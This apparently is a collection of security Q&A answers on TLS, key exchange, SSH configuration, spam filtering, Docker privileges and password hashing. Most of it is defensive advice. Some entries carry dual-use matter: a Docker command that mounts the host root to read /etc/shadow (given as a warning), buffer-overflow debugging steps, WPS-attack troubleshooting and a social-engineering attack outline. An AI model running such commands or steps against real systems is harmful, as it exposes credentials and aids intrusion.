It is impossible for a man in middle to actively intercept this connection by using a malicious CA because the man in the middle would need to rewrite both the server and client certificate. While you might not be able to control if the client trusts this malicious CA you can make sure that the server only trusts the known certificate or the certificates issued by the servers CA. This means an attacker can not fake the client certificate in a way that the server trusts it.


Securing a script to prevent database from being exposed

You didn't mention MYSQL injection attacks in your list of precautions. Also you could reduce the permissions of the mysql user for the database. Usually people give the user all rights but you can restrict the mysql user's ability to do ALTER, CREATE, CREATE ROUTINE, CREATE TEMPORARY TABLES, CREATE VIEW, DELETE, DROP, EXECUTE, INDEX, INSERT, LOCK TABLES, REFERENCES, SELECT, SHOW VIEW, TRIGGER, and UPDATE. Only give the mysql user permission that are needed to run your script.


Using multiple oAuth identity services simultaneously

I'm not sure what you mean. Here are my two best guesses:

OAuth for authorization

OAuth allows a third party (you) to access a user's protected resources from a resource server (probably an API) after gaining authorization through an authorization server (the OAuth provider).

The OAuth provider is most likely the same organization that runs the resource server. If the organization disappears from the internet there's really no point in having a different provider to gain authorization to a non existent resource.
OAuth for authentication

There's also the chance that you are referring to using a third party identity service to authenticate users on your site.

If that's the case, you don't need to tie to a particular service, just use OpenID Connect and let your users choose whatever provider they prefer.

You can offer fast-track buttons for the most common providers, but you're not dependant on them.

Ah, the joys of federated services :-)

Let me know if I completely misunderstood the question.


I'm called several times per day by the same number but I hear nothing. What security implications can it have?

Getting someone to answer a phone call tells you roughly two things.

The number called is a valid, active number.
The person answering is reachable at that number (and probably "on the phone" at the moment they answer the call).

The security implications of those two things can vary widely, from basically nothing at all, to literally life and death.  That's enough information to kill someone with an exploding cellphone, for example.  Basically, someone on the other end of the phone can ascertain that the number they dialed is valid, and that you're (probably) in close physical proximity to your phone.  Depending on what other resources and information they have, they may be able to translate that into the physical location of you and/or your phone.

It's definitely plausible that this could be used for surveillance or location-tracking, either by law-enforcement or non-government organizations (having basic location data about you would be useful to someone wanting to burgle your home, for example), however, as noted in the comments, that's very unlikely in this specific case.  In this specific case, what happening is that you're being dialed by a telemarketing operation that doesn't have either the resources or motivation to surveil or assassinate you.  As mentioned in comments, this is probably just the result of a buggy or poorly designed setup - the best and brightest technical talent doesn't typically get into telemarketing for shady fly-by-night operations, and it may well cost more to fix than it's worth.


Why verify a file / firmware downloaded online against a checksum?

Checksums are provided to detect corruption during file transfer, not to detect man in the middle attacks.


Isolate Android system when connected to wifi

Using something like NoRootFirewall gives you full access over what apps can access the internet. It sets up a VPN connection to route all traffic through so it has full control over what app can access the internet.

You could either install this app, or incorporate similar behavior in your app e.g. when this app runs block all others.


The first issue here is how you describe the use of "public" and "private" in terms of Diffie-Hellman. In DH, you don't have a single public and private keypair. Both parties have a public and private keypair, and they both exchange their public keys with each other. From that exchange, they may both agree upon some shared secret.
The next issue that arises comes from that misunderstanding. Two DH keypairs will generate the same shared secret every time you perform a DH key exchange. The process is deterministic. This means that every time you perform a file transfer, the same bulk encryption key is used for that user. This is problematic when you want to encrypt a lot of data (gigabytes of files) because you don't have any key rotation. Your question on key rotation touches on this, but focuses on the wrong target (data at rest).
The most important fault of this scheme is that, while public component of the DH keypair does not need to be encrypted, it must be authenticated. Your scheme uses what we call "anonymous" Diffie-Hellman, because the DH exchange is not authenticated. This is vulnerable to a man-in-the-middle attack whereby an attacker gets in the middle of the DH exchange and sends the server their own DH public key instead of the client's. They can then perform a key exchange with you, make another key exchange with the server, and proxy all the data through and access the plaintext.
Another problem is that using long-term DH keypairs alone for key exchange lacks a feature called forward secrecy. Consider what happens if an attacker records all data over the network, passively, then later compromises one of the private keys: they can use the private key to decrypt all the key exchanges that they have recorded. This compromises all prior file transfers. The solution to this is to use something called ephemeral key exchange, but it's unclear how this fits into your protocol because of the other issues.
The main question I would ask is: does the server need to be able to decrypt the files, or is it just storing encrypted data that the client can later decrypt?
If the server does not need access to the files, you don't need DH. The "standard" scheme for these situations is:

Derive an unlock key from somewhere, that only the client knows. This could be from a passphrase with a KDF such as Argon2, or just a random sequence of bytes in a file on the client machine if you don't need or want the user to have to enter a password. Just keep in mind that if the client computer is compromised and you use the latter approach, all the file data can be decrypted.
Randomly generate a file key and IV/nonce. Encrypt the file data with AES-GCM or ChaCha20-Poly1305, using the file key.
Encrypt the file key and IV/nonce with AES-ECB, using the unlock key. This is one of the few cases where AES-ECB actually makes sense to use, because you know the blocks will be unique and random, and you're never re-using the same key to encrypt the same data.
Transfer the encrypted file key and the encrypted data to the server, preferably over HTTPS. You can technically use HTTP because the data is encrypted and an attacker can't decrypt it anyway, but HTTPS provides guarantees about the identity of the server, and also serves as an extra layer of security in case you have an implementation bug somewhere.
The server stores this data.
When the client wants to decrypt the data, it downloads the encrypted file key and the encrypted data. It then uses the unlock key to decrypted the file key, and uses that to authenticate and decrypt the file data.

Ultimately, this is identical to putting the file in an encrypted zip and uploading it somewhere.
If the server does require access to the files, then it's a bit more complicated.
If the server needs to access the plaintext data at any point, even without user presence, then there's no point in encrypting the data on the server. If the server has the keys to decrypt the data, and those keys are stored on the server too, it's like putting the key right next to the padlock. In such a case you should just upload the plaintext file to the server over HTTPS, and have the server store them in plaintext. You can and should use full-disk encryption on the server itself, but if an attacker compromises the server and the server has access to the data, then the data is also compromised. There's no way around that.
If the server only needs access to the plaintext data when the user is present, e.g. during a web request, then you use the same "no server access" scheme as above but give the server the unlock key over HTTPS when needed. The server keeps the unlock key for as long as it needs it, then throws it away. There are variants of this approach for slightly different threat models, but that's a complex topic and not worth discussing until your requirements are clear.


User-friendly TLS certificate validation

Here's three ideas.

Use a CA
As the commenters already said: Have them trust a CA. It's less painful. And it scales much better. Each participant will only have to verify the CA's authenticity once and then they can communicate with every other participant. (Then of course, you will have to trust the CA, very, very much. -- But I consider this a good trade off in your case.)

Human-to-Human audio method: Use the PGP word list
If you really want the "1-to-1" individual verification, then use an octet word list. It maps each hex byte (0x00 to 0xFF) to one or more words.
PGP has done this:
Wikipedia: PGP word list

Machine-readable image method: Use a QR-code
One instant-messenger that I use is called "Threema". And they emphasize end-to-end-security and you don't need to trust a CA. Alice doesn't need to verify Bob's key in order to IM him. But if Alice wants to verify Bob's key, then both meet face to face and Bob presses a show-my-key-as-QR-code button in the app. And Alice selects Bob's contact data and then presses the scan-that-person's-key-via-QR-code button.

(There are three levels of trust in the app. The best level of trust is reserved for the people you have met face to face. Weblink: Threema Levels (Archived here.))


How can I stop an IP from trying to use my mail server?

Regarding security, usually such connection attempts are just made by automated spam bots operating from malware contaminated PC. In all case it seems that these requests are correctly rejected by your server.

I recommend you to check SPAM protection measures to protect your mail server, and in particular I recommend you to setup a check toward SpamHaus database.

In particular, SpamHaus offers you two interesting systems:

The SpamHaus Block List (SBL) is a downloadable list of IP ranges either known to be owned by illegal organizations or which are not used by their owner and may therefore be used for illegitimate purposes. This list is to be used at your firewall level to directly drop corresponding traffic no matter the protocol since it will most probably be illegitimate traffic. The IP you mentions in your question is flagged by this list.
SpamHaus also offer lists dedicated to mail serves which can be queried upon each request by your mail server in order to provide more fine-grained filtering. These lists do not necessary correspond to illegitimate traffic, for instance IP ranges associated to end-user internet accesses are listed (usually this correspond to malware's spam, but it may also indicate someone having built a genuine email server at home), so it may require a bit of tunning to determine which list your need and how you may want your server to react exactly.

I strongly recommend to at least set up your server to use the SBL list to block traffic involving the IP it contains, and automate a daily update of this list.


The client send the password to the server.

On registration the server creates the salt and stores it. It then computes and stores the password hash.

On login the client send the password again, the server looks up the salt in its own database, and computes the password hash for verification.


Is it impossible to know if the de-authentication packet has been sent to the victim using Wireshark and mdk3?

No, it's not impossible. Wireless NIC in monitor mode capture also MGMT frames. If authentication request / association request follow de-auth frames then client got disconnected, but you can never be sure if you heard all frames.


Unable to understand $EIP changes with Buffer Overflow

Try using the Switch "-g" , when you compile your c File with gcc.

Or there is something with the Security Features, that prevent your Code.

Did you try to break your Code ?

E.g.

  "break main" and "break 5" and "break 8"

  on "break 8" you might try to examine the buffer "x/s buf" or "x/40x buf" ?

Before ending the Program you should see a message that it can't access Address 0x41414141. After continuing you should see an error message.


There's much to be done before you can get a correct answer for this situation.

First, and most simple solution, you can check your AP manufacture website to be sure if it's immune to WPS PIN attacks.
Second, try to use another wireless card, and most important, don't use your laptop WiFi card if your running Ubuntu through a virtual machine.
Also, try to use another tool, or another version of Reaver.
Also try the same tool on another AP which you already know it's vulnerable to WPS attacks.

If you had further results, it might help us.


C++ binary obfuscation: how to get around license checks being a simple if/then branches?

Here are some tips that may help you, but just remember that any one with a good understanding of assembler will found it.

Lets imagine your program is like you describe:

int main() {

    if (myCheck()) {
            std::cout << "License pass\n";
    }
    ....

And here is the disassembler of the code.

00000000004006d3 <main>:
4006d3:       55                      push   %rbp
4006d4:       48 89 e5                mov    %rsp,%rbp
4006d7:       e8 da ff ff ff          callq  4006b6 <_Z7myCheckv>
4006dc:       84 c0                   test   %al,%al
4006de:       74 0f                   je     4006ef <main+0x1c>
4006e0:       be d1 07 40 00          mov    $0x4007d1,%esi
4006e5:       bf 40 10 60 00          mov    $0x601040,%edi
4006ea:       e8 b1 fe ff ff          callq  4005a0 <_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc@plt>
4006ef:       b8 00 00 00 00          mov    $0x0,%eax
4006f4:       5d                      pop    %rbp
4006f5:       c3                      retq

So by adding asm statements in your code you can make it more difficult.

#define OPS1 "xor \%rbx,\%rbx\n"
int main() {
    __asm__ volatile (
            "push %rax\n"
            "xor %rax,%rax\n"
            "pop %rax\n"
    );

    if (myCheck()) {
            std::cout << "License pass\n";
    }
    __asm__ volatile (OPS1);

And here is the output

4006d3:       55                      push   %rbp
4006d4:       48 89 e5                mov    %rsp,%rbp
4006d7:       50                      push   %rax
4006d8:       48 31 c0                xor    %rax,%rax
4006db:       58                      pop    %rax
4006dc:       e8 d5 ff ff ff          callq  4006b6 <_Z7myCheckv>
4006e1:       84 c0                   test   %al,%al
4006e3:       74 0f                   je     4006f4 <main+0x21>
4006e5:       be e1 07 40 00          mov    $0x4007e1,%esi
4006ea:       bf 40 10 60 00          mov    $0x601040,%edi
4006ef:       e8 ac fe ff ff          callq  4005a0 <_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc@plt>
4006f4:       48 31 db                xor    %rbx,%rbx
4006f7:       b8 00 00 00 00          mov    $0x0,%eax
4006fc:       5d                      pop    %rbp
4006fd:       c3                      retq

This case is really really easy, but if you have a good understanding of templates, assembler you complicate a bit the code generated.


I found something, but not quite what I wanted, since there are no assignments between MAC and actual device.

http://www.wardriving-forum.de/statistiken/hersteller/


Creating user specific authentication methods in SSH

You can use Match in sshd_config to select individual users to alter the PasswordAuthentication directive for. Enter these Match rules at the bottom of sshd_config file ( generally /etc/ssh/sshd_config )

Match User root,foo,bar
    PasswordAuthentication no
Match User Rishee
    PasswordAuthentication yes

This would give root, foo and bar key authentication, and Rishee password authentication.

An alternative is to match by negation, like this:

PasswordAuthentication no
Match User *,!root
    PasswordAuthentication yes

In this case, everyone except root gets password authentication.

Note: The *, syntax is necessary, as wildcard and negation syntax is only parsed in comma-separated lists.

You can also match by group:

Match Group usergroup
    PasswordAuthentication no

Reason for entering Match at the bottom of the file:

  If all of the criteria on the Match line are satisfied, the keywords on the following lines override those set in the global section of the config file, until either another >Match line or the end of the file


What does Blue Coat Unified Agent application do?

The BlueCoat Unified Agent has been built to provide security on the cloud. The Unified Agent client monitors the Internet Breakout IP being used by the user and switches from Active to Passive mode or vice versa depending on the company policy.

For example a company might have on-premise proxy servers. Therefore when the client uses the laptop inside the company network perimeter, the client falls into passive mode and lets the on-premise proxy servers handle the "washing" of the Internet traffic.

However if the client goes at home, or a hotel or any other place with a public Internet breakout IP which is not defined as a Corporate Internet IP by that company, the client will immediately switch to 'Active' state. That means that the client establishes an encrypted IPSec tunnel towards the nearest BlueCoat ThreatPulse data center and a proxy cloud server does all the security traffic "checking" on the cloud. Companies can sync their on-prem proxies to have the exact policy on the cloud but that is optional.

Additionally, companies that use the Unificed Agent can also define subnets / IP Addresses / URLs which are like an exception for the unified agent and that traffic goes direct to the destination without utilizing the IPSec tunnel (Split Tunnelling).  The above environment is also known as Hybrid (utilizes both on-prem and cloud proxies)

Moreover you can have a pure cloud environment. A lot of companies do not have on-premise proxies and they use the Unified Agent both inside and outside the Company Network perimeter.All those are possible setups of the Unified Agent (plus many more of course).

The key advantage of the Unified Agent is that it provides extra security layers. When a client makes a request, it will go to the Cloud Proxy, the proxy will check if the content should be obtained based on the company URL policy (i.e. the company could be blocking porn, etc.). If it is OK, it will obtain the content and AV scan it using AV engines on the cloud from 3rd party vendors like Kaspersky, TrendMicro, Symantec etc. It will also optionally send the obtained data to a sandboxing environment if the file signatures are unknown. If everything is OK, it will deliver the content to the end-point client.

Back to your question, a lot could cause crashing of the actual application. In any case you should check with IT support of your company. You can also check the Windows logs as it will have application logs for the Unified Agent. Also the Unified Agent offers a "tracing" functionality if the crashing happens while you are visiting specific URLs, etc.


How to bootstrap trust in an on-premise environment?

(Reposting as answer instead of a comment)

It seems to me that the "Trusted Orchestrator" model bears further consideration. The Vault docs mention Terraform and Chef, but the role of an orchestrator is more general than those particuar tools. In almost any microservice environment, there will be a system that is responsible for creating and provisioning new application instances (containers, VMs, what have you.) This system is ipso facto the "orchestrator," and is therefore capable of providing credentials. E.g. (as mentioned in your comment) it could SSH into the instance immediately after creation and write a temporary Vault token which the application could then use to discover the rest of its credentials. Alternatively it could provide the token as an environment variable (this is common practice in container-based setups) or even via a network service a la AWS (which makes it easy to rotate periodically).

In point of fact, I think the "Platform Integration" model resolves to the "Trusted Orchestrator" model once you examine it. The difference is just that the orchestrator is managed by the platform operator (AWS, Azure, etc) rather than the application owner.


If I give my bank account and routing number to a stranger to receive a one-time payment, can they steal money from my account?

This depends on which juridicsion or country you live in.

For example, here in sweden, its safe to give out bank account number and routing information, because to extract money, you will need a valid ID-card tied to someone that is authorized to access the account, and of course, bank personell will of course check the ID card throughly including calling the issuer to check if the ID card is barred.

In other countries, bank numbers are considered a "password", eg anyone that have it can pull money from account.

Also check your checks if you have check access. If the checks only lists your bank number and routing number, there is a possibly that someone could create a fake check with fake signature from you, and cash that check. Some other banks might include a security code or similar that will be cross-checked against the bank's computer system.

Same with bill paying. If bill-paying using only bank account and routing number is allowed from a remote location, then you are at risk, since someone only needs to fake your signature.

But for example in sweden, you always need to sign up for such services using a ID, and if those services aren't enabled on your account, its not possible for any outsider, that have access to bank number and routing info, to extract money from account.

The best you can do, is to open a unrelated bank account, at a second bank you normally isn't a customer in. This bank account, should have NO associated services, no checking account, no bill-payer service, nothing. Only way to get money out of the account should be physically visiting the bank office.

This account would then be safe to leave out. I don't know what happens if some attempts to cash a fake check for a bank account that has no checking access, but I think the accepting bank will notice the attempt immediately when their computers show the lack of checking access on the bank account.

HOWEVER: There is a second thing that is toublesome, regardless in which way you receive money. This is that someone, could, without your permission, depoist toublesome money in your account, for example money gained from a bank robbery or sales of narcotics. When investigation goes on, there is a possibility that all accounts you own, is frozen during the investigation. When a account is frozen, it means you have to apply to get your money for day-to-day living for example food and such.

So even if the security is so tight that only you can extract money from the account even if the whole world knows your bank account number, there is a possibility you can get in trouble if someone wants you in trouble.

This means, that regardless of the payment method you accept or use for the auction in question, you should carefully vet and check the winning buyer, before giving out information to the buyer that makes it possible for him to pay. If something is suspicious of the buyer, even if he have the money (Note! The money can be stolen! Not even cash is 100% safe to receive), then go for the next highest bidder.

In most auction sites, if you bid on a item, you are always obligated to pay the bid, even if someone overvid you, because also in most auction sites, the seller has the possibility to select who should win, he isn't required to sell to the highest bidder. (but of course, if the highest bidder is clean, theres no reason for the seller to lose money on selecing a low bidder).


what are the current best practices for key generation

The key generation code is the same in all three cases anyway. This is just a matter of command-line interface.

For most usages, I recommend generating the private key with req because then that's only one command line to generate the key and the certificate request. All other things being equal, less complexity makes for more security.


How to analyze .pcap file to write a generic snort rule to detect c&c activity

Step #1 is to identify and isolate the malicious traffic in the pcap. I assume you're using Wireshark to do this?

Step #2 Look at the isolated malicious stream and try to identify unique patterns. This could be unusual header sequences, words or strings, or query response sequences.

Step #3 Create your signature for Snort from the identified patterns. It could be a single contiguous hex pattern, or a more complex set of multiple dispersed patterns that must all exist and/or be within designated distances from each other.

The more complex the signature the less likely there will be false positives, too complex and it might be overly specific to your sample and you get false negatives.


Site is being redirected to Viagra store; all the usual suspects turn up nothing

I noticed that from a Google search, if I take the referer (www.google.com) out of the web request to changewise.biz, it does not redirect to the spam site.

If I do not take the referer out, I get the spam site (and subsequent requests always get it since it is then cached in the browser).

So I think it is not faulty old Google data, but something in your site that looks at the referer.

Your site is serving the following http response when refered from google.com:

HTTP/1.1 301 Moved Permanently
Server: Apache/2.2
Content-Type: text/html; charset=iso-8859-1
Date: Fri, 25 Apr 2014 14:10:26 GMT
Location: http://mywifeishappy.com/
Connection: Keep-Alive
Content-Length: 305

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">

<title>301 Moved Permanently</title>

Moved Permanently

The document has moved here.

<address>Apache/2.2 Server at www.changewise.biz Port 80</address>


Which functions should I hook to check if the app contains malicious code or use deprecated methods?

I understand the current scenario that your work with you want something like SAST but on runtime something that a famous security company made these days which is not in the scope of the answer. However, some suggestions may help this case which is ... If the deprecated methods which your looking for are based on program dependencies here is a suggestion which I would use java for.

Open the dependency file, java normally is pom.xml or other programming language is in another  file. Check the main version of the dependency and compare with the pom's current version i.e. if a spring version is 5.1.4 and the dependency is 5.1.2 then you may report the update believing it may imply in security purposes. By the way checking If there access to the SDCard or anything outside the app can be Done in the AndroidManifest as the example below.

<application android:allowBackup="true" ... > > Needs to be false

The second suggestion is as mentioned make a black list but instead a small database which is updated every now and then with all the deprecated methods that may cause harm due to security reasons. You may want to work with enhanced algorithm to make it work quickly because by time its gonna become big. These are the things that I would suggest.


Hashing Algorithms on GPU, 32 bit vs 64 bit

To me, your question boils down to, "Why are GPUs 32 bits systems?"

The answer to the multiple instructions for a 64 bit number is the same as a regular CPU. If the architecture is 64 bits, then everything fits into the registers. If the architecture is 32 bits, not everything fits and multiple passes must be made to load and process everything.

What's the reasoning? As with the progression of all processors, GPU architecture has grown to the size it needs to be. Presently, 32 bit GPUs do a fantastic job of processing graphics and nobody's really clamoring for a 64 bit video card.

Consider looking at your question another way: why aren't modern CPUs 128 bit systems? I'm certain there are people out there who would like to run 128 bit operations, but it just doesn't make sense for the bounds of technology as it stands right now.


Establishing a Secure Connection

  we want a secure communication with a particular mail server in a remote company network.

If you want to secure the connection to the server, either stick with VPN which could use IPSec (to get a secure connection to the company network, not secured between their VPN gateway and mail server) or SSL/TLS which secures the SMTP/IMAP connection itself.

SSL/TLS is probably a good choice as you cannot forget to enable VPN before connecting to the mail server(s) - or do not need to add mechanisms to prevent this.

If NAT is the problem, some VPN technologies can also pass network address translation.

The other protocols

You could also do with SSH-tunnels, but this probably includes more hassles.

The others are not offering any encryption capabilities themselves:

Kerberos is for authentication, not for encryption. PKI on X.509 certificates is for putting trust in certificates. Other protocols use these certificates for encryption (among other things), for example SSL.

OpenPGP encrypts the messages, not the connection. It depends on your needs whether this is a feasible alternative, but does not fit the requirements you posted (secure connection to the mail server). Especially, it only works with communication partners also using OpenPGP; all mail not send using OpenPGP will be transfered unencrypted to your client computer.

Of course you can combine these technologies. For example, you could use VPN for securing access to the company network (possibly some critical services aren't even available without) and use SSL anyway (lots of mail servers don't allow unencrypted connections anyway). Using OpenPGP gives you another level of security when emails leave your (secure) company network on unencrypted paths, and protect you from evil server administrators and black hat hackers.


Mods certainly can be used as infection vectors. A lot of it comes down to a question of trust. A mod with tens of thousands of downloads and nobody suggesting they've had any problems is likely to be OK (though still no guarantee!).

In an ideal world:

Wherever possible, avoid mods that have an installer. There are some situations that this can't be done, but mods with installers are probably the biggest threat. A lot of users will happily click through a request for administrative privileges from an installer.
Download mods from reputable sources. Ensure you're always downloading the mod as the creator released it, and not repacked by anyone else!
Check comments sections for the mod, and do a quick google search with keywords like "virus".
As per the first section of this answer, favor popular mods over ones with barely any downloads.

Sections of your question are not possible to answer with any real useful information, as there are so many different types of mod available with great differences between them. However, generalizing:

  How dangerous are gaming mods, does language and file-type matter, and how can I decide these for each individual game?

How long is a piece of string? Mods can be very dangerous or not dangerous at all. File type certainly matters. Mods that just replace textures, or add new models etc are pretty unlikely to cause you any problems. Mods that use .exe installers are something to be wary of.

  Does the maliciousness/exploitability depend on the mod file I am downloading, or the type of files the mod-file is modifying?

Both. If the mod you are downloading is a .exe, it's a bigger risk than if it's a .zip or .rar (generally). If the mod file just replaces some textures or config files, it's a much smaller risk than if it replaces the game executable...

  Will a decent AV with signatures/heuristics pick up a malicious payload?

Hopefully, but don't rely on it.

  Can mods be examined in a debugger (OllyDBG) or other tool (which type)?

Again, this would depend on what the mod is and what it does. You can certainly check .exe files in a debugger, but frankly I just wouldn't run them at all. Or run them sandboxed in a VM if you really must run them to check them in a debugger.


I'm assuming by methodology you are looking for a social engineering framework. At a really high level, you'd follow the same sort of steps that you would with any other attack.

Pick a target
Study the target
Identify vulnerabilities
Create plan to exploit identified vulnerabilities
Execute the plan
Walk out unscathed

Much like a technical hack, there may be many hops from entry to final destination within a company. A remote attacker might need to know Linux, macOS, Windows, and a few scripting languages to make it through the barriers. A social engineer needs the ability to build trust and think on their feet as they iterate through their targets, especially in live environments (say pentesting a bank).

For some good, free, social engineering information I highly recommend digging through social-engineer.org. They not only run their own seminars but frequently work with DefCon to create the social engineering village. A good place to start is here:

https://www.social-engineer.org/framework/general-discussion/


Is it insecure to use PBKDF2 on a SHA1 hashed password?

This is a pretty common interim conversion scenario. If you have the luxury of having control over the code that manages authentication and can support both methods simultaneously, this is operationally efficient without sacrificing security, if properly implemented.

Informative reference here.


Anonymity on Facebook - how do they suggest people I should know?

So, yes, they appear to have a deal with the Telecommunication
  Providers in different Countries.

Well that's ONE explanation.

Another one that I like better is simply that they have all their users' contact lists, thanks to their mobile application which no doubt reads everything and sends it back to their headquarters.

All they have to do after you register with your real phone number is look through all those contact lists, and find the people who possess your number.

This idea that they may have arrangements with telecom providers seems a little far-fetched to me, in great part because it is simply illegal in many countries to disclose phone records to anyone without a court order.


Can an executable be scanned for calls to the vulnerable glibc ghost functions?

To find out if this calls are used, you could simply do a

strings -a /bin/ip | grep gethost

Another approach returning more information is

readelf --dyn-syms /bin/ip | grep gethost


Are there risks in user-uploaded .txt files sent as a string to PHP

Anything you do on the client-side can be ignored by an attacker. They don't even need to visit your web page in order to send requests to the PHP script - they can send those requests directly with whatever inputs they like.
If you're just using functions like strlen, intval, etc. for parsing the string and converting it into numbers for calculations, there's nothing there for an attacker to abuse in order to compromise the server. There are risky (and downright dangerous) functions in PHP, like eval, exec, and system, but if you're not using them then they're not a problem.
If the script is as simple as you described, the worst an attacker could really do is send some data that can't be converted to a number, which would cause the page to throw an error. This doesn't do anything to your server or any other user of the site - it's just that request that fails. If your server is configured to display errors, it might tell them the path to the PHP file on your server, which is a minor information disclosure.
I suspect from your comments about punctuation that you're thinking about things like SQL injection. This is only a problem when you're making queries to a database, which you aren't doing here. When you do get around to learning about database queries, ensure that you're using parameterised queries/statements with MySQLi or PDO, instead of string concatenation. There are quite a few questions on here on this topic that you can refer to once you get to that point.


Does CSF-LFD include a Fail2Ban analogue or should include Fail2Ban at all?

I have been investigating this some more and can answer reasonably well now. Answers to each part of the question:

Yes, LFD is installed as part of CSF. You have LFD installed if you use that process.
Fail2ban is NOT the same as LFD and there IS a conflict. You should not use them both. Using CSF and LFD is all you need and fail2ban would only be an alternative to some parts of LFD.

So I recommend you use CSF, which includes LFD, and do not install fail2ban. I also highly recommend reading the readme file for CSF/LFD at:
https://download.configserver.com/csf/readme.txt


Docker daemon run with root privileges, but containers running inside it, even those that you don't set the current user (USER command in your Dockerfile) will run with limited access.

You can also drop some capabilities to isolate those containers reducing the attack surface. And never run untrusted containers with the privileged.

If a container is running with root (inside the container), and you map some volume, it will have access as root. So this is another point to avoid.

Here an example docker run --rm -it -v '/:/mnt' debian:9.2 cat /mnt/etc/shadow, it will have full access to / as root, it means, it can infect binaries, have access to your /etc/shadow file, add/remove/change password of users, etc...

Here is the full reference: https://docs.docker.com/engine/security/security/#conclusions


Is this a safe way to verify public keys?

1. Is a 4 letter word enough?

It doesnt matter how long the word is as long as it can be considered unique and is kept secret. An attacker signing his public key with a lot of random sequences of 4 letters where one of them contains the correct sequence is unlikely to suceed as the amount of random combinations make the attack rather obvious.

2. Does verifying the signature verify that the public key is the original key and has not been altered by a "man in the middle", when the original message is the secret?

If the signature is valid, you definitly know that the owner of the (signature pairs) private key who also knows the secret 4 letter sequence gives you a public key, nothing else. It doesnt check if the key inside is a valid certificate, if the 4 letter sequence is correct or that this is the correct public key (the owner of the signing key pair can sign whatever he wants).

Now lets imagine you have a Man-in-the-Middle (MITM) at step 4, when Alice transfers the public keys and the signed 4 letter word to Bob. As there is no CA and we assume that Bob can not distinguish the certificate of Alice from the certificate of the MITM, the MITM could simply replace the public keys with his own, read the 4 letter word and sign the same word with his own key too. A signed word is easily accessible, so at the moment you sent it the MITM can simply read it and use it to replace all future data and be authenticated by Bob. Therefore, this is not a safe way to verify public keys.

Possible Solutions

Exchange a hash (sha1 f.e.) of the fingerprint at step 5. It can still be considered safe enough if Bob only remembers the beginning and ending couple letters of the hash as it would be impossible for a MITM to create a certificate whose fingerprint's hash starts and ends exactly with the same couple letters.
Use symmetrical encryption. Put your public certificate in a password protected (zip f.e.) archive and exchange this password.

By the way, you dont need two key pairs, you can sign & encrypt with the same keys.


If whatsapp has end-to-end encryption, How does it fight spam?

Not a WhatsApp specific answer (as I don't know the details there...) but you can implement a spamfilter directly on the client, as the client can legitimtely access the content of the message.

This is what local email spamfilters have done for decades now.


Protecting server from bogus HTTP Requests

While all of them lead to a 404 Not Found, CPU cycles are wasted in processing these requests ...

Somewhere CPU cycles "must be wasted" to filter out these requests. But it depends on the kind of requests and of your server and application setup how much cycles this will be and where exactly they will be needed.

If there is a clear source of these requests you might use simple packet filter rules (iptables, ipfw or some router in front of the server) to block such requests already at the transport layer by filtering based on the source IP address. This would be the cheapest way, i.e. less cycles are wasted.
But in most cases you don't have such a clear source so filtering must be done at the application layer, which is more complex and thus needs more CPU cycles. That might be done with a web application firewall (WAF) in front of the server, by filtering rules at your web server or by filtering these requests inside your web application.

  ... and affects access by legitimate users at least for a short while.

While any server on the internet gets lots of requests they are usually not that much that it really affects the applications, i.e. they are more a nuisance and do not amount to a denial of service. If handling such requests is too costly for you than you might need to rethink the design of your web application, like make sure that bad requests are filtered out early and don't cause database lookups or other costly operations.

For more details about this problem see How can I defend against malicious GET requests?


Is there a way to sign a 624 bits message on 256 bits

Yes; BLS can do that.  (Message length is only relevant to short signatures in very limited circumstances.)


Would using a password already hashed+salted be secure?

performed the steps a website would do on the password and use the result as our actual password

This would almost solve the problem of password reuse.  If the user picked one master password and used a password hash to derive a different password for each service (by salting with the website's host name, for example), each site would theoretically be unable to access the user's accounts on other services.

However, I say "almost" because, in practice, most users choose passwords with insufficient entropy to be protected with password hashing.  This means that any service the user accesses (or anyone who breaks into any of those services) could crack the user's derived password to determine the master password, leaving the user completely compromised.  For this reason, randomly generated passwords + a password manager is still best practice, since the resulting passwords have no relation to one another (or to the master password).

That said, with a sufficiently strong password, this scheme is actually secure.  An 8-word password generated using Diceware would have about 103 bits of entropy.  If this scheme were used with a good password hash, it would be virtually impossible to crack the master password (assuming correct implementation, no crypto advances, etc).

As mentioned in the comments, it's still somewhat important that the server hash the "password" that it receives.  Imagine if an attacker is able to dump a user table, but unable to completely compromise the server/service.  Gaining access to the derived passwords would allow the attacker to any user's account on any part of that service, which could potentially widen the impact of the breach.

Just in case someone misinterprets this, let me include a quick reminder: implementing this in JavaScript alongside a login form would not provide any protection from a malicious server, since a malicious server can replace that JavaScript with something else.


I agree with the comment; this doesn't sound like an issue to me. If the email legitimately came from Stockholm Arlanda Airport (you can check the email address*) and if the email doesn't ask for any personal information, I wouldn't worry.

I don't like putting my personal email address in captive portals; I don't want be on their email list for something I likely don't care about. I suspect that's what happened here - someone simply typed in your email instead of their own.

*Note, most modern email providers do filter spoofed emails, and the probability that's the case is low.


is it really necessary to deploy interal SSL In private network mpls?

Generally yes, you want to encrypt/secure the connection of your internal machines. They are not reachable from the internet, but insider threats are real.

Assume one machine of yours has been taken over. An vulnerable webservice, for example. This machine is no longer trustworthy, but can still see and access your internal machines. Here is your insider threat without somebody physically breaking into your data centre or plugging their laptop in your server.

Which kind of security should be applied depends on your use case and what exactly you are trying to protect. To prevent MitM, TLS/SSL is generally a good point to start.


Is it possible to write shellcode in C++?

The Linux kernel can be viewed as a kind of ultimate shell code, since it is "injected" on a raw machine (which only has the BIOS code at that point) and then provides a lot of functionality. That kernel is written in C.

If you write shell code in C or C++, you will run into trouble with library calls and linking, which are two facets of the same issue.

Code produced by a C compiler may contain references to other parts of the code, or external functions or variables. For instance, if you access a static variable, even if defined in your own code, then the assembly opcodes will contain a "hole": at the assembly level (that which you obtain with gcc -S, if you use gcc as C compiler), you would see basic "mov" opcodes, and the variable name. When translated into binary, in the object file (the .o or .obj, depending on the platform), the hole is not filled yet, because the actual address of the variable is not known yet; the object file contains a table (the "relocations") which inform the linker of the position of each hole which is to be filled at the linking stage.

The problem, of course, is that you do not have the luxury of a linker when making a shell code. You have to produce a sequence of bytes which is already ready, with no hole to fill, and able to run at whatever address it will be loaded, address which is not necessarily known in advance (thanks, in part, to ASLR). You must write position-independent code. Compilers often offer a command-line flag for that (e.g. -fPIC with gcc) but this is not "true" PIC: that kind of code still has holes to fill by a linker, but this time the dynamic linker; it is PIC only by virtue of the holes having been regrouped in a special table (the GOT, aka "Global Offsets Table"), making the task easier for the dynamic linker.

